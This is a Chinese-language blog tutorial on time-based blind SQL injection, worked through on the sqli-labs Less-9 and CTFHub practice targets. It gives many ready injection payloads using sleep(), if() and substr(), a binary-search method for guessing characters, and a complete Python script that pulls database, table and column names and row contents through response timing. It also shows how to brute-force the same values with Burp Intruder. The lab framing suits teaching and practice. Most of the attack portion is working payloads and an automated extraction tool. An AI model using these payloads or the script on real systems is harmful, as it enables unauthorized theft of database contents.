sql漏洞注入——时间注入

阿呆不呆@qq

于 2023-11-01 23:30:03 发布

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文章标签： sql 数据库

本文链接：https://blog.csdn.net/m0_73756016/article/details/133996993

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一·时间注入

时间注入又名延时注入，属于盲注入的一种，通常是某个注入点无法通过布尔型注入获取数据，而采用一种突破注入的技巧。
在 mysql 里函数 sleep() 是延时的意思，sleep(10)就是数据库延时 10 秒返回内容。判断注入可以使用' and sleep(10)，数据
库延时10秒返回值，网页响应时间至少要10秒，根据这个原理来判断存在 SQL 时间注入。

mysql 延时注入用到的函数 sleep() 、if()、substring()
select if(2>1,sleep(10),0)，2>1这个部分就是你注入要构造的 SQL 语句。
select if(length(database())>1,sleep(5),0)，这个就是查询当前库大于1，就会延时5秒执行。
vince' and if(length(database())>1,sleep(5),0)--+
可以看到网页是大于五秒返回。根据这个原理 n>1，n不延时就能确定当前数据库的长度了。

时间盲注使用场景

当测试一个注入点时，我们使用多种方式测试，页面都显示正常，这就很难判断改点是否存在注入，可能会造成误断，这时候我们可以采用时间盲注的方法，来判断是否存在注入点以及猜解数据库信息。
时间盲注就是通过if 语句构造判断条件，是sleep函数来让数据库延迟查询，从而得到让网页加载时间变长的方式来猜解数据库。

时间盲注使用到的SQL函数

1.if函数

if(expr1,expr2,expr3);表达式
如果expr1判断为真，则返回expr2值,否则expr3的值。
例：判断1+1是不是等于2，如果等于2返回“你是个天才”，不等于2返回“3”

2.sleep()函数

sleep(duration) 这个函数的作用就是休眠，参数是休眠的时长，以秒为单位，也可以是小数。
例子：让sql语句5秒后执行
sleep

3.substr()函数

substr(string,start,length)函数是截取字符串的函数。

4.ord()函数

ord(character)函数是返回一个字符的ASCII码。

5.length()函数

length(string)函数是否返回一个字符串的长度。

题目例示——less9

1.测试注入点

?id=1’ and 1=2 --+ 页面正常
?id=1’ and 1=1 --+ 页面正常
?id=1" and 1=2 --+ 页面正常
?id=hviurbnierneb --+ 页面正常
1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1 ) --+ 页面正常
1" and updatexml(1,concat(0x7e,(select database()),0x7e),1 ) --+ 页面正常
进行了这么多的测试，页面均正常显示，遇到这种情况可以采用时间注入来判断。

输入http://localhost/sql/Less-9/?id=1' and if(length(database())>7,sleep(5),0)--+

响应时间大于5

输入http://localhost/sql/Less-9/?id=1' and if(length(database())>8,sleep(5),0)--+

响应时间小于5

输入http://localhost/sql/Less-9/?id=1' and if(length(database())=8,sleep(5),0)--+

判断数据库名长度为8

接下来猜解数据库名字

通过ord函数或者ascii函数进行猜解数据库名

手工建议采用二分法来猜解提高效率。
payload：
?id=1’ and if(ascii(substr((select database()),1,1))>100,1,sleep(5))–+
页面立马加载，说明字符大于100
那么在尝试
?id=1’ and if(ascii(substr((select database()),1,1))>118,1,sleep(5))–+
页面5秒后加载，说明字符小于118
?id=1’ and if(ascii(substr((select database()),1,1))>110,1,sleep(5))–+
页面立马加载，说明字符大于110，那么现在字符就在110-118这个区间了
?id=1’ and if(ascii(substr((select database()),1,1))=115,1,sleep(5))–+
页面立马加载，说明第一个字符ASCII是115 也就是“s”

手动试太麻烦可以用python脚本跑一下

这里以ctfhub上的靶场为例

import requests
from urllib.parse import quote

base_url = "127.0.0.1/sql/Less-9/?id="
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://challenge-59668c27594f7541.sandbox.ctfhub.com:10800/", "Upgrade-Insecure-Requests": "1"}

def get_database_length():
    global base_url, headers
    length = 1
    while (1):
        id = "1 and if(length(database()) = " + str(length) + ", 1, sleep(2))"
        url = base_url + quote(id) #很重要，因为id中有许多特殊字符，比如#，需要进行url编码
        try:
            requests.get(url, headers=headers, timeout=1).text
        except Exception:
            print("database length", length, "failed!")
            length+=1
        else:
            print("database length", length, "success")
            print("payload:", id)
            break
    print("数据库名的长度为", length)
    return length

def get_database(database_length):
    global base_url, headers
    database = ""
    for i in range(1, database_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and if(ascii(substr(database(), " + str(i) + ", 1)) = " + str(ascii) + ", 1, sleep(2))"
            try:
                requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
            except Exception:
                id_bigger = "1 and if(ascii(substr(database(), " + str(i) + ", 1)) > " + str(ascii) + ", 1, sleep(2))"
                try:
                    requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
                except Exception:
                    r = ascii - 1
                else:
                    l = ascii + 1
            else:
                database += chr(ascii)
                print ("目前已知数据库名", database)
                break

    print("数据库名为", database)
    return database

def get_table_num(database):
    global base_url, headers
    num = 1
    while (1):
        id = "1 and if((select count(table_name) from information_schema.tables where table_schema = '" + database + "') = " + str(num) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            num += 1
        else:
            print("payload:", id)
            print("数据库中有", num, "个表")
            break
    return num

def get_table_length(index, database):
    global base_url, headers
    length = 1
    while (1):
        id = "1 and if((select length(table_name) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout= 1).text
        except Exception:
            print("table length", length, "failed!")
            length+=1
        else:
            print("table length", length, "success")
            print("payload:", id)
            break
    print("数据表名的长度为", length)
    return length

def get_table(index, table_length, database):
    global base_url, headers
    table = ""
    for i in range(1, table_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and if((select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"
            try:
                response = requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
            except Exception:
                id_bigger = "1 and if((select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"
                try:
                    response = requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
                except Exception:
                    r = ascii - 1
                else:
                    l = ascii + 1
            else:
                table += chr(ascii)
                print ("目前已知数据库名", table)
                break
    print("数据表名为", table)
    return table

def get_column_num(table):
    global base_url, headers
    num = 1
    while (1):
        id = "1 and if((select count(column_name) from information_schema.columns where table_name = '" + table + "') = " + str(num) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            num += 1
        else:
            print("payload:", id)
            print("数据表", table, "中有", num, "个字段")
            break
    return num

def get_column_length(index, table):
    global base_url, headers
    length = 1
    while (1):
        id = "1 and if((select length(column_name) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            print("column length", length, "failed!")
            length+=1
        else:
            print("column length", length, "success")
            print("payload:", id)
            break
    print("数据表", table, "第", index, "个字段的长度为", length)
    return length

def get_column(index, column_length, table):
    global base_url, headers
    column = ""
    for i in range(1, column_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and if((select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"
            try:
                requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
            except Exception:
                id_bigger = "1 and if((select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"
                try:
                    requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
                except Exception:
                    r = ascii - 1
                else:
                    l = ascii + 1
            else:
                column += chr(ascii)
                print ("目前已知字段为", column)
                break

    print("数据表", table, "第", index, "个字段名为", column)
    return column

def get_flag_num(column, table):
    global base_url, headers
    num = 1
    while (1):
        id = "1 and if((select count(" + column + ") from " + table + ") = " + str(num) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            num += 1
        else:
            print("payload:", id)
            print("数据表", table, "中有", num, "行数据")
            break
    return num

def get_flag_length(index, column, table):
    global base_url, headers
    length = 1
    while (1):
        id = "1 and if((select length(" + column + ") from " + table + " limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            print("flag length", length, "failed!")
            length+=1
        else:
            print("flag length", length, "success")
            print("payload:", id)
            break
    print("数据表", table, "第", index, "行数据的长度为", length)
    return length

def get_flag(index, flag_length, column, table):
    global base_url, headers
    flag = ""
    for i in range(1, flag_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and if((select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"
            try:
                requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
            except Exception:
                id_bigger = "1 and if((select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"
                try:
                    requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
                except Exception:
                    r = ascii - 1
                else:
                    l = ascii + 1
            else:
                flag += chr(ascii)
                print ("目前已知flag为", flag)
                break
    print("数据表", table, "第", index, "行数据为", flag)
    return flag

if __name__ == "__main__":
    print("---------------------")
    print("开始获取数据库名长度")
    database_length = get_database_length()
    print("---------------------")
    print("开始获取数据库名")
    database = get_database(database_length)
    print("---------------------")
    print("开始获取数据表的个数")
    table_num = get_table_num(database)
    tables = []
    print("---------------------")
    for i in range(0, table_num):
        print("开始获取第", i + 1, "个数据表的名称的长度")
        table_length = get_table_length(i, database)
        print("---------------------")
        print("开始获取第", i + 1, "个数据表的名称")
        table = get_table(i, table_length, database)
        tables.append(table)
    while(1): #在这个循环中可以进入所有的数据表一探究竟
        print("---------------------")
        print("现在得到了以下数据表", tables)
        table = input("请在这些数据表中选择一个目标: ")
        while( table not in tables ):
            print("你输入有误")
            table = input("请重新选择一个目标")
        print("---------------------")
        print("选择成功，开始获取数据表", table, "的字段数量")
        column_num = get_column_num(table)
        columns = []
        print("---------------------")
        for i in range(0, column_num):
            print("开始获取数据表", table, "第", i + 1, "个字段名称的长度")
            column_length = get_column_length(i, table)
            print("---------------------")
            print("开始获取数据表", table, "第", i + 1, "个字段的名称")
            column = get_column(i, column_length, table)
            columns.append(column)
        while(1): #在这个循环中可以获取当前选择数据表的所有字段记录
            print("---------------------")
            print("现在得到了数据表", table, "中的以下字段", columns)
            column = input("请在这些字段中选择一个目标: ")
            while( column not in columns ):
                print("你输入有误")
                column = input("请重新选择一个目标")
            print("---------------------")
            print("选择成功，开始获取数据表", table, "的记录数量")
            flag_num = get_flag_num(column, table)
            flags = []
            print("---------------------")
            for i in range(0, flag_num):
                print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的长度")
                flag_length = get_flag_length(i, column, table)
                print("---------------------")
                print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的内容")
                flag = get_flag(i, flag_length, column, table)
                flags.append(flag)
            print("---------------------")
            print("现在得到了数据表", table, "中", column, "字段中的以下记录", flags)
            quit = input("继续切换字段吗？(y/n)")
            if (quit == 'n' or quit == 'N'):
                break
            else:
                continue
        quit = input("继续切换数据表名吗？(y/n)")
        if (quit == 'n' or quit == 'N'):
            break
        else:
            continue
    print("bye~")

也可以用bp爆破一下

也是用ctfhub来演示

因为不想对照ascii码直接用字母表示

代码

http://challenge-3509d00401dacaa0.sandbox.ctfhub.com:10800/?id=1 and if((substr((database()),1,1))='a',sleep(3),1)

抓包 send to intruder 改一下payloads

这里的步骤和用布尔盲注的差不多唯一不同的就是时间盲注没有回显

这里需要改一下加上响应时间

这样就爆出来它的库名了继续爆表名个数

http://challenge-3509d00401dacaa0.sandbox.ctfhub.com:10800/?id=1 and if((select count(table_name) from information_schema.tables where table_schema = 'sqli') = 2,sleep(3),1)

证明有两个表先爆破第一个表名

爆破表长

?id=1 and if((select length(table_name) from information_schema.tables where table_schema = 'sqli' limit 0,1) >= 2,sleep(3),1)

爆破表名

?id=1 and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='n',sleep(3),1)

第一个表名为flag

把limit改为1，1 其他不变

第二个表名为news

爆破列名

这里插入一下sqlilab的例子 ctfhub的靶场关了

?id=1’ and If(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit x,y),z,d))=105,sleep(2),1)–+
x：第x+1个列，y：x+1个列往后y个单位，z：x+1列的第一个字母，d：第一个字母往后的第z个单位

?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=102,sleep(3),1)

一样的方法得到列名为‘flag’

爆数据这里也是用sqlilab的例子

就是select列名+from表名+where限定语句

?id=1' and if(substr((select username from users limit 0,1),2,1)='u',sleep(5),1)--+

这里应该先爆一下长度但是太多了就没爆

反正最后大概就是这种了

能用脚本还是用脚本吧【😵】

终于写完了 886

阿呆不呆@qq

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sql漏洞注入——时间注入

id=1' and if(length(database())>8,sleep(5),0)--+1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1 ) --+ 页面正常。1" and updatexml(1,concat(0x7e,(select database()),0x7e),1 ) --+ 页面正常。select if(length(database())>1,sleep(5),0)，这个就是查询当前库大于1，就会延时5秒执行。
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